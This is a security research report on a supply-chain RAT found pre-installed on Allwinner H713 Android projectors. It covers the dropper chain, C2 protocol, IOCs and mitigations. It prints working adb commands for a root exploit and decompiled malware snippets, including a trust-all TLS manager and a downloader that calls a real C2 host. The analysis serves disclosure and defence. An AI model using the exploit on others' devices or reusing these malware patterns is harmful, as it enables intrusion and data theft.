Pre-installed C2 Infrastructure and RAT Payload on Android Projectors

Technical Analysis Report — Security Research

Affected Devices: Multiple Android projectors of beamer brands like the Nonete (e.g., Model HY260Pro) (likely also several projectors from Magcubic, Hotack, Huyukang and many more, as these companies distribute similar models and there are indications supporting this)
Chipset Platform: Allwinner H713 / sun50iw12p1 — potentially affects all devices on this platform
Analysis Period: April 11–17, 2026
Classification: Pre-installed Command-and-Control infrastructure with Remote Access Trojan payload

TL;DR

• The Problem: Numerous cheap Android projectors (potentially brands like Magcubic, Hotack, etc., utilizing the Allwinner H713 chip), currently sold in massive quantities on Amazon, eBay, and AliExpress, are infected with malware straight from the factory (Supply Chain Attack, similar to the "BADBOX" cases).
• The Mechanism: A seemingly harmless system app ("StoreOS") acts as a disguised dropper. It completely silently downloads a Stage-2-Dropper named "SilentSDK" in the background and installs it with maximum system privileges, which in turn installs a modular, plugin-based, architechture aware RAT & possibly phishing framework.
• The Danger: The malware establishes a C2 connection to China (api.pixelpioneerss.com), extracts sensitive device IDs, and can download and execute arbitrary additional malicious code with root privileges at any time (chmod 777). Additionally, the devices feature open root backdoors.
• Immediate Mitigation: The C2 domains (especially *.aodintech.com, api.pixelpioneerss.com, sta.smartinnovate.net) must be blocked at the network level. Affected users can only disable the malicious apps manually via ADB, as they are deeply embedded in the system.

Urgency Notice

The malware infrastructure documented in this report is pre-installed on Android projectors currently being sold in large quantities to end consumers on Amazon, eBay, and AliExpress. The affected devices span possibly multiple brand names (Hotack, Huyukang, Magcubic, Nonete, among others). Identical C2 infrastructure has been independently confirmed on other devices from the same manufacturer (see Section 13). The pattern matches the BADBOX cases.

Table of Contents

1. Device Identification
2. Investigation Workflow
3. Root Access — Exploit Path
4. C2 Server Response — Core Evidence
5. Malware Ecosystem Overview
6. StoreOS — Dropper Analysis (com.htc.storeos)
7. EventUploadService — Telemetry (com.htc.eventuploadservice)
8. ExpandSDK — Ad-Injection (com.htc.expandsdk)
9. SilentSDK — Stage-2-Dropper Analysis (com.hotack.silentsdk)
10. The Malware
11. System Backdoors
12. Network Forensics
13. Device Spoofing (Build-Fingerprint Spoofing)
14. External Confirmation
15. Indicators of Compromise (IOCs)
16. MITRE ATT&CK Mapping
17. Immediate Mitigations
18. Sources

Purchased Device: Amazon Link - Nonete Mini Beamer 4K 1080P

1. Device Identification

Note on scope: The Allwinner H713 chipset is built into numerous cheap Android projectors sold under changing brand names in the European market. The identical firmware base (h713_tuna_p3) and identical C2 operator (Shenzhen Aodin Technology) strongly suggest that all devices from this OEM contain the same infrastructure.

2. Investigation Workflow

3. Root Access — Exploit Path

Root access was achieved through a combination of three vulnerabilities:

1. SELinux Permissive — Access violations are only logged, not blocked.
2. World-writable /oem — The partition is mounted as FAT with fmask=0000.
3. customer.prop loaded at boot — Overwrites system properties.

adb shell getenforce                  # Result: Permissive
adb shell ls -la /oem/                # All files world-writable

adb shell 'echo "ro.debuggable=1"     >> /oem/customer.prop'
adb shell 'echo "service.adb.root=1"  >> /oem/customer.prop'
adb shell 'echo "ro.secure=0"         >> /oem/customer.prop'

adb reboot && adb wait-for-device && adb root
adb shell id
# uid=0(root) gid=0(root) context=u:r:su:s0

Impact: Any user with physical access or an attacker on the same network (via ADB, port 5555 open, no authentication) gains full root access.

4. C2 Server Response — Core Evidence

Captured HTTP Request

POST /sign/app/list HTTP/1.1
chanId: HY260Pro_SpectraOS_TPYB
timestamp: 1775904428922
sign: [REDACTED]
Content-Type: application/json;charset=UTF-8
Content-Length: 184
Host: store-api.aodintech.com
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/5.0.0-alpha.12

Server Response (Decoded from pcapng - Table)

The gzip-compressed response contains a JSON list with seven apps. Six of them are regular streaming apps (YouTube, Netflix, Disney+, Prime Video, Chrome, BrowseHere). The seventh is SilentTools:

SilentTools Configuration in Detail

{
  "name": "SilentTools",
  "pkg": "com.hotack.silentsdk",
  "desc": "Special app",
  "icon": "http://cdn-store.aodintech.com/com.hotack.silentsdk/image/95630a5e-e05e-4dba-814a-cf2742585b39.png",
  "category": "htc",
  "zone": "Global",
  "developer": "htc",
  "isForce": true,
  "verCode": 4,
  "verName": "2509041614",
  "verDesc": "SilentSDK",
  "installType": 0,
  "appType": "apk",
  "reverseLen": 63995,
  "path": "W15UOdzUbX72/67VLbV2cMLetfnsudxCpedAqw2GjJ8pvLI56S0gTzrp4HaetoVK3PdHXvM9vw7g+F4eFGhHDNvARfeM38tkcqo7gOpulNCb1gKYE2rmjWa+6RdjhB84+g403UUicBfFf5vHDoOEgA==",
  "size": 2474873,
  "md5": "5df097591d6942bae4eff33a37c4e28f",
  "upDate": "2025-09-04",
  "isShow": false,
  "isSilentInstall": false,
  "isSilentUninstall": true,
  "isBootStartup": false,
  "launchType": 1,
  "launchParam": "com.hotack.silentsdk.MyService"
}

Interpretation of the flags:

• isShow: false — The app does not appear in the store interface.
• isForce: true — Presumably forces the action (installation or update).
• isSilentUninstall: true — Can uninstall itself without user interaction.
• launchType: 1 — Automatically starts the background service.
• launchParam: MyService — Reference to the persistent service.
• zone: "Global" — Targets all devices worldwide.
• reverseLen — Byte length needed to restore the SilentSDK .apk.

Encrypted Download Path

The path field is AES-CBC encrypted:

• Key/IV: [REDACTED] (AES-CBC, Raw) -> The ChannelID of the device.
• Decrypted result:

http://cdn-store.aodintech.com/com.hotack.silentsdk/package/091acbf1-68b1-40f1-b9b7-7d4d6ae86880.bpp

Note: The file extension .bpp is likely employed to bypass firewalls, with the file being renamed to an .apkduring execution. The fieldisSilentInstallisfalsein this capture. The exact semantics ofisForce: truecould not be unambiguously reconstructed from the decompiled code. It cannot be ruled out that the value is dynamically set totrue` server-side.

5. Malware Ecosystem Overview

The device contains four interacting system apps, all signed with the AOSP test key and running with UID 1000 (System):

                        ┌──────────────┐
                        │  DEVICE BOOT │
                        └──────┬───────┘
              ┌────────────────┼────────────────┐
              ▼                ▼                ▼
       ┌─────────────┐  ┌─────────────┐  ┌──────────────┐
       │   StoreOS   │  │  SilentSDK  │  │  EventUpload │
       │   DROPPER   │  │     RAT     │  │  HEARTBEAT   │
       └──────┬──────┘  └──────┬──────┘  └──────┬───────┘
              ▼                ▼                ▼
         store-api.        api.pixel         event-api.
        aodintech.com    pioneerss.com     aodintech.com

       + ExpandSDK (Ad-Injection)
         → pb-api.aodintech.com

6. StoreOS — Dropper Analysis

StoreOS appears to be an app store that is automatically installed; however, it fulfills the function of a dropper.
Package: com.htc.storeos
SHA-256: 3476536a5c722b9e34c53abda766fb4869d5ebebfc9c8a8fd47fb7ecd5f025b9
VirusTotal: BitDefender: Android.Riskware.TestKey.rB

Permissions

Installation Chain (from decompiled code)

1. BootReceiver starts CheckUpdateService.
2. HTTP POST to store-api.aodintech.com/sign/app/list.
3. Server delivers AppsData[] containing fields: pkg, path, isForce, isShow, isSilentInstall, isSilentUninstall, launchType, launchParam, reverseLen, md5.
4. DownloadService fetches APKs as files from the CDN.

Byte-Reversal Mechanism — Technical Proof

Class: AbstractC2057b — Method: m4131f(String inputPath, int reverseLen, String outputPath) -> JADX

This method reverses the first reverseLen bytes of every downloaded APK. As a result, intercepted .bpp files cannot be recognized or extracted as valid APKs without knowing the specific reverseLen value.

// Simplified representation of the byte-reversal algorithm
// Original code: AbstractC2057b.m4131f()
int offset = fileSize % reverseLen;
if (fileSize - offset < reverseLen) {
    reverseLen = fileSize;
    offset = 0;
}
// 1. Copy offset bytes unchanged
// 2. Read reverseLen bytes and reverse them:
for (int head = 0, tail = readCount - 1; head < tail; ) {
    byte tmp = buffer[head];
    buffer[head] = buffer[tail];
    buffer[tail] = tmp;
    head++; tail--;
}
// 3. Copy the remaining bytes unchanged

Invocation in the download path (Class RunnableC1595d, case 0):

if (downInfo.getReverseLen() != 0) {
    String outputPath = inputPath.replace(".apk", "des.apk");
    if (!AbstractC2057b.m4131f(inputPath, reverseLen, outputPath)) {
        // Error handling
        return;
    }
    downInfo.setFileSavePath(outputPath);
}
// Followed by MD5 verification and installation

By reversing this mechanism, the SilentSDK APK was successfully decoded and analyzed.

Geo-Targeting

StoreOS utilizes api.ipdatacloud.com/v2/query for IP geolocation. The SpecialApps class contains fields for continent and countryCode, allowing for region-specific payload distribution.

7. EventUploadService — Telemetry

Package: com.htc.eventuploadservice
Target: http://event-api.aodintech.com/report
Interval: Every 5 minutes

Transmission occurs unencrypted via HTTP and without user consent. The MAC address and serial number allow for the precise identification and tracking of individual devices.

8. ExpandSDK — Ad-Injection

Package: com.htc.expandsdk
C2 Servers: pb-api.aodintech.com, euads-o.api.leiniao.com

ExpandSDK utilizes the TCL VastAd SDK for VAST video advertisements and is capable of rendering system overlay dialogs (SYSTEM_ALERT_WINDOW) at any screen position. The configuration includes position fields (AdDialogX, AdDialogY, Width, High, Gravity) and the partner identifier htk (Hotack).

ExpandSDK operates independently from SilentSDK as a separate monetization channel.

9. SilentSDK — RAT Analysis

Package: com.hotack.silentsdk
SHA-256 (decoded): e5a193c31526a2194d04a2157321d490d68f9251fab1cbbd28c2580971396fb7
MD5 (decoded): 5df097591d6942bae4eff33a37c4e28f

Manifest Analysis

DEX Packing and Decryption

The original DEX is packed: The header declares 2,318,316 bytes, but the compressed file only contains 65,536 bytes with an invalid Adler32 checksum. After breaking the StoreOS byte-reversal protection, the DEX becomes fully readable — the file size and declared size match, and 16,241 strings are extractable.

XOR Obfuscation — Technical Proof

All security-relevant strings are obfuscated using a rotating XOR cipher within the method AbstractC0000a.m36g():

public static String m36g(byte[] data, byte[] key) {
    int i3 = 0, i4 = 0;
    while (i3 < data.length) {
        if (i4 >= key.length) i4 = 0;
        data[i3] = (byte) (data[i3] ^ key[i4]);
        i3++; i4++;
    }
    return new String(data);
}

Decrypted Strings

This represents only a portion of the decrypted strings. The MAC harvesting flow reveals a deliberate permission bypass: when WifiInfo.getMacAddress() returns Android's privacy-protected fake MAC (02:00:00:00:00:00), the malware falls back to reading the real hardware MAC directly from /sys/class/net/wlan0/address via root shell — behavior never seen in legitimate apps.

Infection Lifecycle — Phase-by-Phase

The following analysis traces the complete execution chain from app startup to persistent C2 control. Class names reference JADX-deobfuscated identifiers.

Phase 1: Initialization and Anchoring

MyApplication.java — Entry Point

The Application.onCreate() override is the first code to execute. It immediately calls C0561f.m1737c with the ApplicationContext, bootstrapping the entire malware machinery before any UI is rendered.

AbstractC0577v.java — Context

If the host app does not voluntarily provide its context, this class uses deep system reflection (android.app.ActivityThread) to autonomously steal the global ApplicationContext. This grants the SDK full access to files, system services, and package management without depending on the host application.

C0578w.java — Activity Lifecycle Observer

Registers as ActivityLifecycleCallbacks to monitor every user interaction: which screen is open, whether the app is in the foreground or background. Critically, it re-enables disabled system animations and manipulates SoftInputMode settings — prerequisites for rendering invisible overlays (e.g., for click fraud) without alerting the user through unexpected keyboard pop-ups.

Phase 2: Fingerprinting and Stealth

AbstractC0562g.java — Bot-ID Generation

Generates an aggressive device fingerprint by concatenating: random UUID + Build.BRAND + Build.MODEL + physical MAC address (harvested via cat /sys/class/net/wlan0/address, bypassing Android's privacy protections) + android_id + timestamp. The resulting string is MD5-hashed and stored as adid — the permanent Bot-ID used to register the device with the C2 server.

C0565j.java — SSL Certificate Bypass

A manipulated X509TrustManager with completely empty validation methods (checkClientTrusted, checkServerTrusted). This ensures the malware blindly accepts any SSL certificate, preventing Android's security mechanisms from blocking C2 communication — even if the C2 server is compromised or uses an invalid certificate.

// From AbstractC0000a.m41j() — TrustManager accepts ALL certificates
TrustManager[] trustManagerArr = {new C0565j()};
SSLContext sslContext = SSLContext.getInstance("SSL");
sslContext.init(null, trustManagerArr, new SecureRandom());
((HttpsURLConnection) conn).setSSLSocketFactory(
    sslContext.getSocketFactory()
);

If an SSL error (SSLException) occurs, f2664e is set to false and all subsequent requests utilize HTTP instead of HTTPS.

Phase 3: Payload Acquisition

C0566k.java — Offline Fallback (Embedded Payload)

Before contacting the network, this class checks whether a payload is already bundled inside the APK at assets/m17gawxG.java. If found, it reads the file byte-by-byte and decrypts it using a hardcoded XOR key (m17gawxG). The result is written as an executable .temp file. This ensures the RAT can activate even on air-gapped devices or when the C2 server is unreachable.

RunnableC0569n.java — Live C2 Downloader

If the offline fallback fails, this class assembles a JSON beacon containing the Bot-ID, package name, and Android version, then contacts the C2 endpoint api.pixelpioneerss.com:

Step 1 — URL Generation with Random Path:

// RunnableC0569n.m1760b()
String protocol = useHttps ? "https://" : "http://";
String domain = f2663d; // XOR-decrypted to "api.pixelpioneerss.com"
int length = random.nextInt(5) + 8; // 8-12 chars
char[] path = new char[length];
// At least one letter at a random position, rest: digits and letters
return protocol + domain + "/" + new String(path);
// e.g.: https://api.pixelpioneerss.com/aB3k9mP2s

Step 2 — Beacon Payload:

JSONObject beacon = new JSONObject();
beacon.put("a", getDeviceFingerprint(context)); // Bot-ID (adid)
beacon.put("b", appKey);                        // Campaign Key
beacon.put("c", context.getPackageName());       // com.hotack.silentsdk
beacon.put("d", currentVersion);                 // Payload Version
beacon.put("f", Build.FINGERPRINT);              // Build Fingerprint
beacon.put("h", Build.VERSION.SDK_INT);          // SDK Version

Step 3 — AES Encryption and Transmission:

// AbstractC0556a.m1728d() — AES-128-CBC Encryption
byte[] encrypted = AES_CBC_encrypt(json.getBytes());
// AbstractC0000a.m41j() — HTTP POST with Custom TrustManager
byte[] response = m41j(url, encrypted);
// Key and IV are appended in plaintext to the message

Step 4 — Processing Server Response:

JSONObject data = new JSONObject(response).getJSONObject("data");
String downloadUrl = data.getString("a");  // DEX Download URL
String md5Hash    = data.getString("b");   // MD5 for verification
int    version    = data.getInt("c");      // Version number
// → m1762a() downloads DEX, verifies Hash, executes

The downloader (AbstractC0000a.m37h) fetches the payload and then uses a root shell to grant it full execution permissions via chmod 777.

All C2 requests carry the custom HTTP header a: 1003 — a network-level signature of this malware family.

Phase 4: Execution and Control

AbstractC0568m.java — Staging Area

Creates a covert directory named TMRXwWJu3G5 on the device's filesystem where all downloaded payloads are staged. This class also contains methods (m1754e) that intercept physical key events (KeyEvent), preventing the user from pressing the "Back" button while a malicious overlay is active.

C0561f.java — The Orchestrator

Ties the entire chain together. It calls the heavily obfuscated code in C0566k.m1746b, which uses reflection to construct the string "dalvik.system.DexClassLoader" and initialize it. The ClassLoader is then forced to load and execute the final payload class:

com.me.cash5.OoO0OOo

From this point onward, the dynamically loaded payload has full control within the app's process context (UID 1000 / System).

Phase 5: Telemetry, Exfiltration, and Persistence

AbstractC0563h.java & C0558c.java — Telemetry Collection

Every module load, error event (e.g., download failure), or overlay display triggers a status report (coded as "e6", "e4" for SSL errors, etc.). C0558c runs a dedicated collection thread ("burying_loop_s") that aggregates these events. Every 5 seconds, it assembles a comprehensive JSON telemetry packet with fields like "d" (device model), "e" (SDK version), "c" (Android ID).

RunnableC0564i.java — Data Exfiltrator

Takes the telemetry JSON, compresses it with GZIPOutputStream (to hinder traffic analysis), then encrypts it with custom AES — appending the dynamic keys to the ciphertext. The resulting GZIP-AES packet is transmitted via the SSL-bypassing TrustManager to a dedicated tracking server:

bur.thedynamicleap.com

This is a separate C2 domain from the primary api.pixelpioneerss.com, used exclusively for telemetry exfiltration.

AbstractC0572q.java & RunnableC0560e.java — Heartbeat and Self-Healing

The persistence mechanism. AbstractC0572q maintains a timer on the main thread. If any part of the infection chain fails (e.g., no internet during download), it fires sendEmptyMessageDelayed(..., 60000L). After exactly 60 seconds, RunnableC0560e (as a background worker) restarts the entire infection machinery from the beginning. This loop repeats indefinitely until the infection succeeds.

Persistence and Dynamic Loading — Summary

The method m1762a() in RunnableC0569n implements the complete payload download cycle:

1. Download DEX file from C2.
2. Verify MD5 Hash.
3. Save version number in SharedPreferences.
4. Load and execute DEX via DexClassLoader or Runtime.exec().
5. Upon errors: Increment retry counter in SharedPreferences, pause after 13 failed attempts — then the 60-second heartbeat restarts the cycle.

9.1. The Malware Payload

After sending this request to the C2 Server:

{
    "a":"1c1f2257b85a20a0eac07f992a283b3a", // Unique device fingerprint
    "b":"f101", //CampaignID injected in MyApplication.java
    "c":"com.hotack.silentsdk", //Package name
    "d":0, 
    "f":"c0:3a:4b:11:22:33", // Device MAC address
    "h":30, //Version
}

Response:

{
    "code":"0000",
    "data":{
        "a":"https://sta.smartinnovate.net/sdkfile/uploadfile/[FILE].jar?t=[TIMESTAMP]]&r=[STRING]&s=[STRING]",
        "b":"53e49c7bf3e93b57f8cbfc7fb9a65126",
        "c":6037,
        "d":3600000,
        "e":"103.124.165.222",
        "f":"India/Karnataka/Bengaluru",
        "g":false,
        "h":"",
        "i":""
    },
    "time":"1776365262249",
    "message":""
}

10. The Malware

Following the successful retrieval and further analysis of the payload, I determined—after bypassing significant layers of custom encryption and obfuscation—that the malware utilizes a highly modular architecture. It operates as a sophisticated framework capable of dynamically downloading, updating, restarting, and actively deleting plugins to destroy forensic evidence. These payloads are executed with root privileges. Furthermore, the code reveals mechanisms designed to overlay full WebViews onto the screen, strongly indicating advanced phishing capabilities. The malware also demonstrates advanced targeting and evasion tactics: it implements strict geofencing to strike specific regions, profiles the CPU architecture (distinguishing between arm64, armeabi, x86, and mips), and actively bypasses SSL certificate validation to secure its C2 communications. I am keeping this summary intentionally brief for now, as the heavy obfuscation necessitates a protracted and ongoing reverse-engineering process.

11. System Backdoors

11.1 Hidden su Binary: /system/bin/qw

An su binary renamed as qw (Koushikdutta Superuser, 388 KB, statically linked, ARM 32-bit):

# /system/etc/init/qw.rc
service qw /system/bin/qw --daemon
    user root
    group root
    class core

• Process: PID 2409, UID 0 (root)
• Socket: /dev/com.koushikdutta.superuser.daemon/server (srwxrwxrwx)
• TCP Port: 65528 (UID 0)

11.2 AOSP Test Key as Platform Signing Key

The platform signing certificate is the test key publicly included in the AOSP source code (Cert Index 0 in packages.xml). Any app signed with this key automatically receives system privileges on the device. The key is freely accessible to any Android developer.

11.3 Additional Open Services

10.4 dbgserver

/vendor/bin/dbgserver — Hardware register I/O server, communicating via the world-writable device /dev/hidtvreg (crwxrwxrwx).

12. Network Forensics

All C2 communication takes place over unencrypted HTTP. This enables MITM (Man-In-The-Middle) attacks: an attacker on the same network can manipulate the app list and inject arbitrary APKs, which will then be installed with system privileges.

13. Device Spoofing

The device disguises itself as Google's ADT-3 (Android TV Developer Kit):

This spoofing is presumably intended to bypass Google Play certification checks.

14. External Confirmation

Independent Analysis

In January 2026, security researcher Zane St. John published an analysis of identical devices harboring the exact same malware infrastructure. The findings match in all crucial points: C2 endpoints, XOR obfuscation, AES-128-CBC protocol, Campaign ID f101, SSL bypass, and chmod 777. The device analyzed by Zane St. John appears to have already been infected by SilentSDK, which was not the case on my device out-of-the-box. The endpoints in Zane St. John's analysis also appear slightly altered, indicating the possibility of endpoint rotation. Additionally, the SilentSDK appears to be pre-installed in his case, whereas on my device it appears to be downloaded and installed once aodintech sends the trigger signal.

Source: https://zanestjohn.com/blog/reing-with-claude-code

Hash Verification Across Three Independent Sources

The hashes from the C2 server distribution, our own decryption, and the external analysis are identical — confirming that it is the exact same malware. This confirms the wide dissemination of the malware.

VirusTotal

StoreOS-APK: BitDefender detects Android.Riskware.TestKey.rB; no other anti-virus engines trigger an alert.

15. Indicators of Compromise (IOCs)

Domains

api.pixelpioneerss.com          # SilentSDK RAT C2
bur.thedynamicleap.com          # SilentSDK Telemetry Exfiltration
sta.smartinnovate.net           # Payload Distribution
store-api.aodintech.com         # StoreOS App Distribution
cdn-store.aodintech.com         # APK Download CDN
event-api.aodintech.com         # Telemetry Exfiltration
pb-api.aodintech.com            # ExpandSDK Ad Injection
ota.triplesai.com               # OTA Updates
api.ipdatacloud.com             # IP Geolocation
euads-o.api.leiniao.com         # Secondary Ad Server

Network Signatures

User-Agent: okhttp/5.0.0-alpha.12
HTTP-Header: a: 1003            # SilentSDK Signature
POST /sign/app/list             # StoreOS C2 Beacon
POST /report                    # EventUpload Telemetry

Packages and Hashes

com.hotack.silentsdk   SHA-256: e5a193c31526a2194d04a2...
com.htc.storeos        SHA-256: 3476536a5c722b9e34c53a...
com.htc.eventuploadservice
com.htc.expandsdk

File System

/system/bin/qw                                   # su Binary
/dev/com.koushikdutta.superuser.daemon/server    # su Socket
/oem/customer.prop                               # World-writable
/vendor/bin/dbgserver                             # HW-Debug
/dev/hidtvreg                                    # World-writable

SilentSDK-Specific Artifacts

assets/m17gawxG.java                             # Embedded fallback payload (XOR key: "m17gawxG")
TMRXwWJu3G5/                                    # Covert staging directory for downloaded payloads
com.me.cash5.OoO0OOo                            # Final dynamically-loaded payload class
dalvik.system.DexClassLoader                     # Reflectively constructed to load payload

16. MITRE ATT&CK Mapping

17. Immediate Mitigations

For Affected End Users

adb shell pm disable-user --user 0 com.hotack.silentsdk
adb shell pm disable-user --user 0 com.htc.storeos
adb shell pm disable-user --user 0 com.htc.eventuploadservice
adb shell pm disable-user --user 0 com.htc.expandsdk
adb shell pm disable-user --user 0 com.htc.htcotaupdate

Network-Level Blocking

# DNS blocking or firewall rules for:
store-api.aodintech.com
cdn-store.aodintech.com
sta.smartinnovate.net
event-api.aodintech.com
pb-api.aodintech.com
api.pixelpioneerss.com
bur.thedynamicleap.com
ota.triplesai.com

18. Sources

1. Zane St. John: "Reverse-Engineering Pre-installed Android Malware with Claude Code", January 2026. https://zanestjohn.com/blog/reing-with-claude-code
2. BSI: "BSI warns against pre-installed malware on IoT devices" (BADBOX), October 2023.
3. VirusTotal analysis of the StoreOS APK.

Analysis Period: April 11–17, 2026

Disclaimer For Educational and Research Purposes Only. This report is provided "as is" for informational purposes regarding cybersecurity threats. The analysis is based on a snapshot of the current malware ecosystem; as reverse engineering is an ongoing process, findings may be subject to change as new data becomes available.

This report has been compiled in good faith and to the best of my knowledge, based on the analysis of binary data and decompiled source code. Due to the high level of obfuscation and the evolving nature of the threat, these findings represent a current state of research. While the evidence strongly supports the conclusions drawn, they are subject to refinement as further technical evidence is uncovered.